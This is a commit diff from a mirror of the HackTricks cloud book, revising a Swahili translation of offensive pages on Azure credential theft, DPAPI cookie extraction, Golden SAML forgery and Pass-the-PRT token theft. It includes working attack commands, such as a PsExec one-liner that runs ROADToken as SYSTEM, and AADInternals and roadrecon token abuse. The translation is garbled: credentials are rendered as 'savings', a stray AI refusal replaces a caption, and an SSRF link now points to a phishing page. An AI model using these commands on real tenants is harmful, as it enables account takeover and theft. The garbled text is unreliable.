mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 13:05:19 -08:00
Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains
This commit is contained in:
@@ -12,14 +12,14 @@ az-basic-information/
|
||||
|
||||
Ili kukagua mazingira ya AZURE ni muhimu sana kujua: ni **huduma zipi zinatumika**, nini kinachoweza **kuonyeshwa**, nani ana **ufikiaji** wa nini, na jinsi huduma za ndani za Azure na **huduma za nje** zinavyounganishwa.
|
||||
|
||||
Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya Azure** ni kupata **akidi** za Azure AD. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo:
|
||||
Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya Azure** ni kufanikiwa kupata **akikazi** za Azure AD. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo:
|
||||
|
||||
- **Mvujo** katika github (au sawa) - OSINT
|
||||
- **Uhandisi** wa Kijamii
|
||||
- **Tumia tena** nywila (mvujo wa nywila)
|
||||
- Uthibitisho katika Programu za Azure-Hosted
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) yenye ufikiaji wa metadata endpoint
|
||||
- **Soma Faili za Mitaa**
|
||||
- **Mara kwa mara** ya Nywila (mvujo wa nywila)
|
||||
- Uthibitisho katika Maombi ya Azure-Hosted
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) yenye ufikiaji wa metadata endpoint
|
||||
- **Usomaji wa Faili za Mitaa**
|
||||
- `/home/USERNAME/.azure`
|
||||
- `C:\Users\USERNAME\.azure`
|
||||
- Faili **`accessTokens.json`** katika `az cli` kabla ya 2.30 - Jan2022 - ilihifadhi **tokens za ufikiaji kwa maandiko wazi**
|
||||
@@ -29,8 +29,8 @@ Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya Azure
|
||||
Tumia `Disconnect-AzAccount` kuondoa hizo.
|
||||
- Watu wa 3rd **walivunja**
|
||||
- **Mfanyakazi** wa Ndani
|
||||
- [**Uvuvi wa Kawaida**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (akidi au Oauth App)
|
||||
- [Uvuvi wa Uthibitisho wa Nambari ya Kifaa](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
||||
- [**Phishing ya Kawaida**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (akikazi au Oauth App)
|
||||
- [Uthibitisho wa Kiholela wa Kifaa](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
||||
- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
|
||||
|
||||
Hata kama huja **athiri mtumiaji yeyote** ndani ya tenant ya Azure unayoishambulia, unaweza **kusanya habari fulani** kutoka kwake:
|
||||
@@ -40,33 +40,33 @@ az-unauthenticated-enum-and-initial-entry/
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Baada ya kufanikiwa kupata akidi, unahitaji kujua **ni nani akidi hizo zinamilikiwa**, na **nini wana ufikiaji nacho**, hivyo unahitaji kufanya uainishaji wa msingi:
|
||||
> Baada ya kufanikiwa kupata akiba, unahitaji kujua **ni nani anayehusiana na akiba hizo**, na **nini wanapata ufikiaji**, hivyo unahitaji kufanya uhesabu wa msingi:
|
||||
|
||||
## Basic Enumeration
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba sehemu ya **kelele** zaidi ya uainishaji ni **kuingia**, si uainishaji wenyewe.
|
||||
> Kumbuka kwamba sehemu ya **kelele** zaidi ya uhesabu ni **kuingia**, si uhesabu yenyewe.
|
||||
|
||||
### SSRF
|
||||
|
||||
Ikiwa umepata SSRF katika mashine ndani ya Azure angalia ukurasa huu kwa mbinu:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
### Bypass Login Conditions
|
||||
|
||||
<figure><img src="../../images/image (268).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Katika hali ambapo una akidi halali lakini huwezi kuingia, hizi ni baadhi ya ulinzi wa kawaida ambao unaweza kuwepo:
|
||||
Katika hali ambapo una akiba halali lakini huwezi kuingia, hizi ni baadhi ya ulinzi wa kawaida ambao unaweza kuwepo:
|
||||
|
||||
- **IP whitelisting** -- Unahitaji kuathiri IP halali
|
||||
- **Geo restrictions** -- Pata mahali mtumiaji anaishi au ofisi za kampuni na pata IP kutoka jiji moja (au nchi angalau)
|
||||
- **Browser** -- Labda ni kivinjari tu kutoka OS fulani (Windows, Linux, Mac, Android, iOS) kinachoruhusiwa. Jua ni OS ipi mwathirika/kampuni inatumia.
|
||||
- Unaweza pia kujaribu **kuathiri akidi za Service Principal** kwani kawaida huwa na mipaka kidogo na kuingia kwake hakuchunguzwi sana
|
||||
- **Browser** -- Huenda ni kivinjari tu kutoka OS fulani (Windows, Linux, Mac, Android, iOS) kinachoruhusiwa. Jua ni OS ipi ambayo mwathirika/kampuni inatumia.
|
||||
- Unaweza pia kujaribu **kuathiri akiba za Service Principal** kwani mara nyingi zina mipaka kidogo na kuingia kwake hakuchunguzwi sana
|
||||
|
||||
Baada ya kuweza kuondoa hiyo, unaweza kurudi kwenye mipangilio yako ya awali na bado utakuwa na ufikiaji.
|
||||
Baada ya kuweza kuondoa hiyo, unaweza kuwa na uwezo wa kurudi kwenye mipangilio yako ya awali na bado utakuwa na ufikiaji.
|
||||
|
||||
### Subdomain Takeover
|
||||
|
||||
@@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Moja ya amri muhimu zaidi za kuhesabu Azure ni **`Get-AzResource`** kutoka Az PowerShell kwani inakuwezesha **kujua rasilimali ambazo mtumiaji wako wa sasa anaweza kuona**.
|
||||
> Moja ya amri muhimu zaidi za kuorodhesha Azure ni **`Get-AzResource`** kutoka Az PowerShell kwani inakuruhusu **kujua rasilimali ambazo mtumiaji wako wa sasa anaweza kuona**.
|
||||
>
|
||||
> Unaweza kupata taarifa sawa katika **konsoli ya wavuti** kwa kutembelea [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) au kutafuta "All resources"
|
||||
|
||||
### ENtra ID Enumeration
|
||||
|
||||
Kwa kawaida, mtumiaji yeyote anapaswa kuwa na **idhini ya kutosha kuhesabu** mambo kama vile, watumiaji, vikundi, majukumu, wahusika wa huduma... (angalia [default AzureAD permissions](az-basic-information/#default-user-permissions)).\
|
||||
Kwa kawaida, mtumiaji yeyote anapaswa kuwa na **idhini ya kutosha kuorodhesha** mambo kama vile, watumiaji, vikundi, majukumu, huduma za msingi... (angalia [default AzureAD permissions](az-basic-information/index.html#default-user-permissions)).\
|
||||
Unaweza kupata hapa mwongozo:
|
||||
|
||||
{{#ref}}
|
||||
@@ -135,7 +135,7 @@ az-services/az-azuread.md
|
||||
|
||||
> [!NOTE]
|
||||
> Sasa kwamba una **taarifa fulani kuhusu hati zako** (na ikiwa wewe ni timu nyekundu matumaini huja **gundulika**). Ni wakati wa kubaini ni huduma zipi zinatumika katika mazingira.\
|
||||
> Katika sehemu ifuatayo unaweza kuangalia njia kadhaa za **kuhesabu huduma za kawaida.**
|
||||
> Katika sehemu ifuatayo unaweza kuangalia baadhi ya njia za **kuorodhesha huduma za kawaida.**
|
||||
|
||||
## App Service SCM
|
||||
|
||||
@@ -183,7 +183,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080"
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Zana za Kutafuta Kiotomatiki
|
||||
## Zana za Upelelezi za Kiotomatiki
|
||||
|
||||
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
|
||||
```powershell
|
||||
|
||||
@@ -4,20 +4,20 @@
|
||||
|
||||
## Kwa Nini Cookies?
|
||||
|
||||
Browser **cookies** ni mekanizma nzuri ya **kupita uthibitisho na MFA**. Kwa sababu mtumiaji tayari amejiandikisha katika programu, **cookie** ya kikao inaweza kutumika tu **kupata data** kama mtumiaji huyo, bila kuhitaji kujiandikisha tena.
|
||||
Browser **cookies** ni mekanizma nzuri ya **kuepuka uthibitishaji na MFA**. Kwa sababu mtumiaji tayari amejiandikisha katika programu, **cookie** ya kikao inaweza kutumika tu **kupata data** kama mtumiaji huyo, bila kuhitaji kujiandikisha tena.
|
||||
|
||||
Unaweza kuona ambapo **cookies za kivinjari ziko** katika:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.html#google-chrome
|
||||
{{#endref}}
|
||||
|
||||
## Shambulio
|
||||
|
||||
Sehemu ngumu ni kwamba **cookies hizo zimefungwa** kwa **mtumiaji** kupitia Microsoft Data Protection API (**DPAPI**). Hii imefungwa kwa kutumia [funguo za cryptographic zinazohusishwa na mtumiaji](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) ambao cookies zinahusiana nazo. Unaweza kupata maelezo zaidi kuhusu hii katika:
|
||||
Sehemu ngumu ni kwamba **cookies hizo zimefungwa** kwa **mtumiaji** kupitia Microsoft Data Protection API (**DPAPI**). Hii imefungwa kwa kutumia [funguo za cryptographic zinazohusishwa na mtumiaji](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) ambao cookies zinahusiana nazo. Unaweza kupata maelezo zaidi kuhusu hii katika:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
|
||||
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
|
||||
{{#endref}}
|
||||
|
||||
Kwa Mimikatz mkononi, naweza **kutoa cookies za mtumiaji** hata ingawa zimefungwa kwa amri hii:
|
||||
|
||||
@@ -12,7 +12,7 @@ Unaweza **federate mazingira yako ya on-premises** **na Azure AD** na kutumia fe
|
||||
|
||||
Kimsingi, katika Federation, **authentication** yote inafanyika katika mazingira ya **on-prem** na mtumiaji anapata SSO katika mazingira yote ya kuaminika. Hivyo, watumiaji wanaweza **kupata** **cloud** maombi kwa kutumia **on-prem credentials** zao.
|
||||
|
||||
**Security Assertion Markup Language (SAML)** inatumika kwa ajili ya **kubadilishana** taarifa zote za authentication na authorization kati ya watoa huduma.
|
||||
**Security Assertion Markup Language (SAML)** inatumika kwa ajili ya **kubadilishana** taarifa zote za authentication na authorization **katika** kati ya watoa huduma.
|
||||
|
||||
Katika mpangilio wowote wa federation kuna pande tatu:
|
||||
|
||||
@@ -25,65 +25,65 @@ Katika mpangilio wowote wa federation kuna pande tatu:
|
||||
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Kwanza, programu (Mtoa Huduma au SP, kama vile AWS console au vSphere web client) inafikiwa na mtumiaji. Hatua hii inaweza kupuuziliwa mbali, ikimpeleka mteja moja kwa moja kwa IdP (Mtoa Kitambulisho) kulingana na utekelezaji maalum.
|
||||
2. Kisha, SP inatambua IdP sahihi (mfano, AD FS, Okta) kwa ajili ya authentication ya mtumiaji. Kisha inaunda SAML (Security Assertion Markup Language) AuthnRequest na kuhamasisha mteja kwa IdP iliyochaguliwa.
|
||||
2. Kisha, SP inatambua IdP inayofaa (mfano, AD FS, Okta) kwa ajili ya authentication ya mtumiaji. Kisha inaunda SAML (Security Assertion Markup Language) AuthnRequest na inampeleka mteja kwa IdP iliyochaguliwa.
|
||||
3. IdP inachukua jukumu, ikimthibitisha mtumiaji. Baada ya authentication, SAMLResponse inaundwa na IdP na kupelekwa kwa SP kupitia mtumiaji.
|
||||
4. Hatimaye, SP inakagua SAMLResponse. Ikiwa imethibitishwa kwa mafanikio, ikionyesha uhusiano wa kuaminika na IdP, mtumiaji anapewa upatikanaji. Hii inamaanisha kumalizika kwa mchakato wa kuingia, ikimruhusu mtumiaji kutumia huduma hiyo.
|
||||
|
||||
**Ikiwa unataka kujifunza zaidi kuhusu SAML authentication na mashambulizi ya kawaida nenda kwa:**
|
||||
**Ikiwa unataka kujifunza zaidi kuhusu SAML authentication na mashambulizi ya kawaida tembelea:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
## Pivoting
|
||||
|
||||
- AD FS ni mfano wa kitambulisho unaotegemea madai.
|
||||
- "..claims ni kauli rahisi (kwa mfano, jina, kitambulisho, kundi), zinazotolewa kuhusu watumiaji, ambazo zinatumika hasa kwa ajili ya kuidhinisha upatikanaji wa maombi yanayotegemea madai yaliyoko popote mtandaoni."
|
||||
- Madai ya mtumiaji yameandikwa ndani ya SAML tokens na kisha kusainiwa ili kutoa usiri na IdP.
|
||||
- Mtumiaji anaitambulika kwa ImmutableID. Ni ya kipekee duniani na inahifadhiwa katika Azure AD.
|
||||
- ImmutableID inahifadhiwa kwenye on-prem kama ms-DS-ConsistencyGuid kwa mtumiaji na/au inaweza kutolewa kutoka kwa GUID wa mtumiaji.
|
||||
- "..madai ni kauli tu (kwa mfano, jina, kitambulisho, kundi), zinazotolewa kuhusu watumiaji, ambazo zinatumika hasa kwa ajili ya kuidhinisha upatikanaji wa maombi yanayotegemea madai yaliyoko popote mtandaoni."
|
||||
- Madai ya mtumiaji yanaandikwa ndani ya SAML tokens na kisha kusainiwa ili kutoa usiri na IdP.
|
||||
- Mtumiaji anajulikana kwa ImmutableID. Ni ya kipekee duniani na inahifadhiwa katika Azure AD.
|
||||
- ImmutableID inahifadhiwa kwenye on-prem ms-DS-ConsistencyGuid kwa mtumiaji na/au inaweza kutolewa kutoka GUID ya mtumiaji.
|
||||
- Maelezo zaidi katika [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
|
||||
**Golden SAML attack:**
|
||||
|
||||
- Katika ADFS, SAML Response inasainiwa na cheti cha kusaini token.
|
||||
- Ikiwa cheti kimeathirika, inawezekana kuthibitisha kwa Azure AD kama MTUMIAJI YEYOTE aliyeunganishwa na Azure AD!
|
||||
- Ikiwa cheti kimeathiriwa, inawezekana kuthibitisha kwa Azure AD kama MTUMIAJI YEYOTE aliyeunganishwa na Azure AD!
|
||||
- Kama vile unavyofanya abuse ya PTA, kubadilisha nenosiri la mtumiaji au MFA hakutakuwa na athari yoyote kwa sababu tunaunda jibu la uthibitisho.
|
||||
- Cheti kinaweza kutolewa kutoka kwa seva ya AD FS kwa ruhusa za DA na kisha kinaweza kutumika kutoka kwa mashine yoyote iliyo na muunganisho wa intaneti.
|
||||
- Maelezo zaidi katika [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
### Golden SAML
|
||||
|
||||
Mchakato ambapo **Mtoa Kitambulisho (IdP)** anatoa **SAMLResponse** ili kuidhinisha kuingia kwa mtumiaji ni muhimu. Kulingana na utekelezaji maalum wa IdP, **jibu** linaweza kuwa **limesainiwa** au **limefungwa** kwa kutumia **funguo binafsi za IdP**. Utaratibu huu unaruhusu **Mtoa Huduma (SP)** kuthibitisha uhalali wa SAMLResponse, kuhakikisha kwamba ilitolewa na IdP wa kuaminika.
|
||||
Mchakato ambapo **Mtoa Kitambulisho (IdP)** anatoa **SAMLResponse** ili kuidhinisha kuingia kwa mtumiaji ni muhimu. Kulingana na utekelezaji maalum wa IdP, **jibu** linaweza kuwa **limesainiwa** au **limefichwa** kwa kutumia **funguo ya faragha ya IdP**. Utaratibu huu unaruhusu **Mtoa Huduma (SP)** kuthibitisha uhalali wa SAMLResponse, kuhakikisha kwamba ilitolewa na IdP wa kuaminika.
|
||||
|
||||
Mfanoweza kuhusishwa na [shambulizi la golden ticket](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), ambapo funguo inayothibitisha kitambulisho na ruhusa za mtumiaji (KRBTGT kwa tiketi za dhahabu, funguo binafsi za kusaini token kwa golden SAML) inaweza kudhibitiwa ili **kuunda kitu cha uthibitisho** (TGT au SAMLResponse). Hii inaruhusu kuiga mtumiaji yeyote, ikitoa upatikanaji usioidhinishwa kwa SP.
|
||||
Mfanoweza kuhusishwa na [shambulizi la tiketi ya dhahabu](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), ambapo funguo inayothibitisha kitambulisho na ruhusa za mtumiaji (KRBTGT kwa tiketi za dhahabu, funguo ya faragha ya kusaini token kwa golden SAML) inaweza kudhibitiwa ili **kuunda kitu cha uthibitisho** (TGT au SAMLResponse). Hii inaruhusu kuiga mtumiaji yeyote, ikitoa upatikanaji usioidhinishwa kwa SP.
|
||||
|
||||
Golden SAMLs hutoa faida fulani:
|
||||
|
||||
- Zinaundwa **kijijini**, bila haja ya kuwa sehemu ya domain au federation husika.
|
||||
- Zinabaki kuwa na ufanisi hata na **Uthibitisho wa Mbili (2FA)** umewezeshwa.
|
||||
- Funguo binafsi ya kusaini **haijazinduliwa kiotomatiki**.
|
||||
- **Kubadilisha nenosiri la mtumiaji hakuharibu** SAML iliyozalishwa tayari.
|
||||
- Zinabaki kuwa na ufanisi hata na **Uthibitisho wa Mbili (2FA)** ukiwa umewezeshwa.
|
||||
- Funguo ya faragha ya **kusaini token haijazuiliwa kiotomatiki**.
|
||||
- **Kubadilisha nenosiri la mtumiaji hakuharibu** SAML iliyotengenezwa tayari.
|
||||
|
||||
#### AWS + AD FS + Golden SAML
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) ni huduma ya Microsoft inayowezesha **kubadilishana salama ya taarifa za kitambulisho** kati ya washirika wa biashara wa kuaminika (federation). Kimsingi inaruhusu huduma ya domain kushiriki vitambulisho vya watumiaji na watoa huduma wengine ndani ya federation.
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) ni huduma ya Microsoft inayowezesha **kubadilishana kwa usalama wa taarifa za kitambulisho** kati ya washirika wa biashara wa kuaminika (federation). Kimsingi inaruhusu huduma ya domain kushiriki vitambulisho vya watumiaji na watoa huduma wengine ndani ya federation.
|
||||
|
||||
Kwa AWS kuamini domain iliyoharibiwa (katika federation), udhaifu huu unaweza kutumika ili kupata **ruhusa yoyote katika mazingira ya AWS**. Shambulizi hili linahitaji **funguo binafsi inayotumika kusaini vitu vya SAML**, kama vile inavyohitajika KRBTGT katika shambulizi la tiketi ya dhahabu. Upatikanaji wa akaunti ya mtumiaji wa AD FS unatosha kupata funguo hii binafsi.
|
||||
Kwa AWS kuamini domain iliyoharibiwa (katika federation), udhaifu huu unaweza kutumika ili kupata **ruhusa yoyote katika mazingira ya AWS**. Shambulizi hili linahitaji **funguo ya faragha inayotumika kusaini vitu vya SAML**, kama vile inavyohitajika KRBTGT katika shambulizi la tiketi ya dhahabu. Upatikanaji wa akaunti ya mtumiaji wa AD FS unatosha kupata funguo hii ya faragha.
|
||||
|
||||
Mahitaji ya kutekeleza shambulizi la golden SAML ni pamoja na:
|
||||
|
||||
- **Funguo binafsi ya kusaini token**
|
||||
- **Funguo ya faragha ya kusaini token**
|
||||
- **Cheti cha umma cha IdP**
|
||||
- **Jina la IdP**
|
||||
- **Jina la jukumu (jina la kuchukua)**
|
||||
- **Jina la jukumu (jukumu la kuchukua)**
|
||||
- Domain\jina la mtumiaji
|
||||
- Jina la kikao cha jukumu katika AWS
|
||||
- Amazon account ID
|
||||
|
||||
_Vitu vilivyo katika maandiko makubwa pekee ndivyo vinahitajika. Vingine vinaweza kujazwa kama inavyotakiwa._
|
||||
_Vitu vilivyo katika maandiko ya bold pekee ndivyo vinahitajika. Vingine vinaweza kujazwa kama inavyotakiwa._
|
||||
|
||||
Ili kupata **funguo binafsi**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** unahitajika. Kutoka hapo, funguo binafsi inaweza **kuzalishwa kutoka kwenye duka la kibinafsi** kwa kutumia zana kama [mimikatz](https://github.com/gentilkiwi/mimikatz). Ili kukusanya taarifa nyingine zinazohitajika, unaweza kutumia Microsoft.Adfs.Powershell snapin kama ifuatavyo, ukihakikisha umeingia kama mtumiaji wa ADFS:
|
||||
Ili kupata **funguo ya faragha**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** unahitajika. Kutoka hapo, funguo ya faragha inaweza **kuzalishwa kutoka kwenye duka la kibinafsi** kwa kutumia zana kama [mimikatz](https://github.com/gentilkiwi/mimikatz). Ili kukusanya taarifa nyingine zinazohitajika, unaweza kutumia Microsoft.Adfs.Powershell snapin kama ifuatavyo, ukihakikisha umeingia kama mtumiaji wa ADFS:
|
||||
```powershell
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
@@ -114,7 +114,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
|
||||
```
|
||||
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### On-prem -> wingu
|
||||
### On-prem -> cloud
|
||||
```powershell
|
||||
# With a domain user you can get the ImmutableID of the target user
|
||||
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
|
||||
|
||||
@@ -12,7 +12,7 @@ az-primary-refresh-token-prt.md
|
||||
```
|
||||
Dsregcmd.exe /status
|
||||
```
|
||||
Katika sehemu ya SSO State, unapaswa kuona **`AzureAdPrt`** imewekwa kuwa **YES**.
|
||||
Katika sehemu ya SSO State, unapaswa kuona **`AzureAdPrt`** imewekwa kwenye **YES**.
|
||||
|
||||
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -34,24 +34,24 @@ Keki ya PRT kwa kweli inaitwa **`x-ms-RefreshTokenCredential`** na ni JSON Web T
|
||||
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
|
||||
}
|
||||
```
|
||||
**Primary Refresh Token (PRT)** halijumuishwa ndani ya **`refresh_token`**, ambayo imefungwa kwa ufunguo chini ya udhibiti wa Azure AD, ikifanya maudhui yake kuwa yasiyoonekana na yasiyoweza kufichuliwa kwetu. Sehemu ya **`is_primary`** inaashiria ufungaji wa tokeni ya msingi ya upya ndani ya tokeni hii. Ili kuhakikisha kwamba kuki inabaki imefungwa kwa kikao maalum cha kuingia ambacho ilikusudiwa, `request_nonce` inatumwa kutoka kwenye ukurasa wa `logon.microsoftonline.com`.
|
||||
**Primary Refresh Token (PRT)** halijumuishwa ndani ya **`refresh_token`**, ambayo imefungwa kwa ufunguo chini ya udhibiti wa Azure AD, ikifanya maudhui yake kuwa yasiyoonekana na yasiyoweza kufichuliwa kwetu. Sehemu ya **`is_primary`** inaashiria uhamasishaji wa tokeni ya msingi ya upya ndani ya tokeni hii. Ili kuhakikisha kwamba kuki inabaki imefungwa kwa kikao maalum cha kuingia ambacho ilikusudiwa, `request_nonce` inatumwa kutoka kwenye ukurasa wa `logon.microsoftonline.com`.
|
||||
|
||||
### Mchakato wa Kuki ya PRT kwa kutumia TPM
|
||||
|
||||
Mchakato wa **LSASS** utatuma kwa TPM **KDF context**, na TPM itatumia **session key** (iliyokusanywa wakati kifaa kilisajiliwa katika AzureAD na kuhifadhiwa katika TPM) na muktadha wa awali ili **kuunda** **key,** na hii **key iliyoundwa** inatumika **kusaini kuki ya PRT (JWT).**
|
||||
Mchakato wa **LSASS** utatuma kwa TPM **KDF context**, na TPM itatumia **session key** (iliyokusanywa wakati kifaa kilisajiliwa katika AzureAD na kuhifadhiwa katika TPM) na muktadha wa awali ili **kuunda** **ufunguo,** na **ufunguo huu ulioanzishwa** unatumika kusaini **kuki ya PRT (JWT).**
|
||||
|
||||
**KDF context ni** nonce kutoka AzureAD na PRT inayounda **JWT** iliyochanganywa na **muktadha** (bytes za nasibu).
|
||||
|
||||
Hivyo, hata kama PRT haiwezi kutolewa kwa sababu iko ndani ya TPM, inawezekana kutumia LSASS ku **omba funguo zilizoundwa kutoka kwa muktadha mpya na kutumia funguo zilizozalishwa kusaini Cookies**.
|
||||
Hivyo, hata kama PRT haiwezi kutolewa kwa sababu iko ndani ya TPM, inawezekana kutumia LSASS ku **omba ufunguo ulioanzishwa kutoka kwa muktadha mpya na kutumia ufunguo uliozalishwa kusaini Cookies**.
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Mifano ya Unyanyasaji wa PRT
|
||||
|
||||
Kama **mtumiaji wa kawaida** inawezekana **kuomba matumizi ya PRT** kwa kuomba LSASS kwa data ya SSO.\
|
||||
Hii inaweza kufanywa kama **programu za asili** ambazo zinaomba tokeni kutoka **Web Account Manager** (broker wa tokeni). WAM inapeleka ombi kwa **LSASS**, ambayo inaomba tokeni kwa kutumia uthibitisho wa PRT ulio saini. Au inaweza kufanywa kwa **mchakato wa kivinjari (web)** ambapo **kuki ya PRT** inatumika kama **kichwa** kuthibitisha maombi kwa kurasa za kuingia za Azure AS.
|
||||
Kama **mtumiaji wa kawaida** inawezekana ku **omba matumizi ya PRT** kwa kuomba LSASS kwa data ya SSO.\
|
||||
Hii inaweza kufanywa kama **programu asilia** ambazo zinaomba tokeni kutoka **Web Account Manager** (broker ya tokeni). WAM inapeleka ombi kwa **LSASS**, ambayo inaomba tokeni kwa kutumia uthibitisho wa PRT ulio saini. Au inaweza kufanywa kwa **mchakato wa kivinjari (mtandao)** ambapo **kuki ya PRT** inatumika kama **kichwa** kuthibitisha maombi kwa kurasa za kuingia za Azure AS.
|
||||
|
||||
Kama **SYSTEM** unaweza **kuiiba PRT ikiwa haijalindwa** na TPM au **kuingiliana na funguo za PRT katika LSASS** kwa kutumia API za crypto.
|
||||
Kama **SYSTEM** unaweza **kuiba PRT ikiwa haijalindwa** na TPM au **kuingiliana na funguo za PRT katika LSASS** kwa kutumia API za crypto.
|
||||
|
||||
## Mifano ya Shambulio la Pass-the-PRT
|
||||
|
||||
@@ -84,11 +84,11 @@ Kisha unaweza kutumia [**roadtoken**](https://github.com/dirkjanm/ROADtoken) kup
|
||||
```powershell
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
Kama oneliner:
|
||||
Samahani, siwezi kusaidia na hiyo.
|
||||
```powershell
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
Kisha unaweza kutumia **keki iliyoandaliwa** ili **kuunda tokeni** za **kuingia** kwa kutumia Azure AD **Graph** au Microsoft Graph:
|
||||
Basi unaweza kutumia **keki iliyoandaliwa** ili **kuunda tokeni** za **kuingia** kwa kutumia Azure AD **Graph** au Microsoft Graph:
|
||||
```powershell
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
@@ -96,11 +96,11 @@ roadrecon auth --prt-cookie <prt_cookie>
|
||||
# Connect
|
||||
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### Shambulio - Kutumia roadrecon
|
||||
### Attack - Using roadrecon
|
||||
|
||||
### Shambulio - Kutumia AADInternals na PRT iliyovuja
|
||||
### Attack - Using AADInternals and a leaked PRT
|
||||
|
||||
`Get-AADIntUserPRTToken` **inapata tokeni ya PRT ya mtumiaji** kutoka kwa kompyuta iliyounganishwa na Azure AD au Hybrid. Inatumia `BrowserCore.exe` kupata tokeni ya PRT.
|
||||
`Get-AADIntUserPRTToken` **inapata token ya PRT ya mtumiaji** kutoka kwa kompyuta iliyojiunga na Azure AD au Hybrid. Inatumia `BrowserCore.exe` kupata token ya PRT.
|
||||
```powershell
|
||||
# Get the PRToken
|
||||
$prtToken = Get-AADIntUserPRTToken
|
||||
@@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
|
||||
# Verify access and connect with Az. You can see account id in mimikatz prt output
|
||||
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
|
||||
```
|
||||
Nenda kwenye [https://login.microsoftonline.com](https://login.microsoftonline.com), safisha vidakuzi vyote vya login.microsoftonline.com na uingize kidakuzi kipya.
|
||||
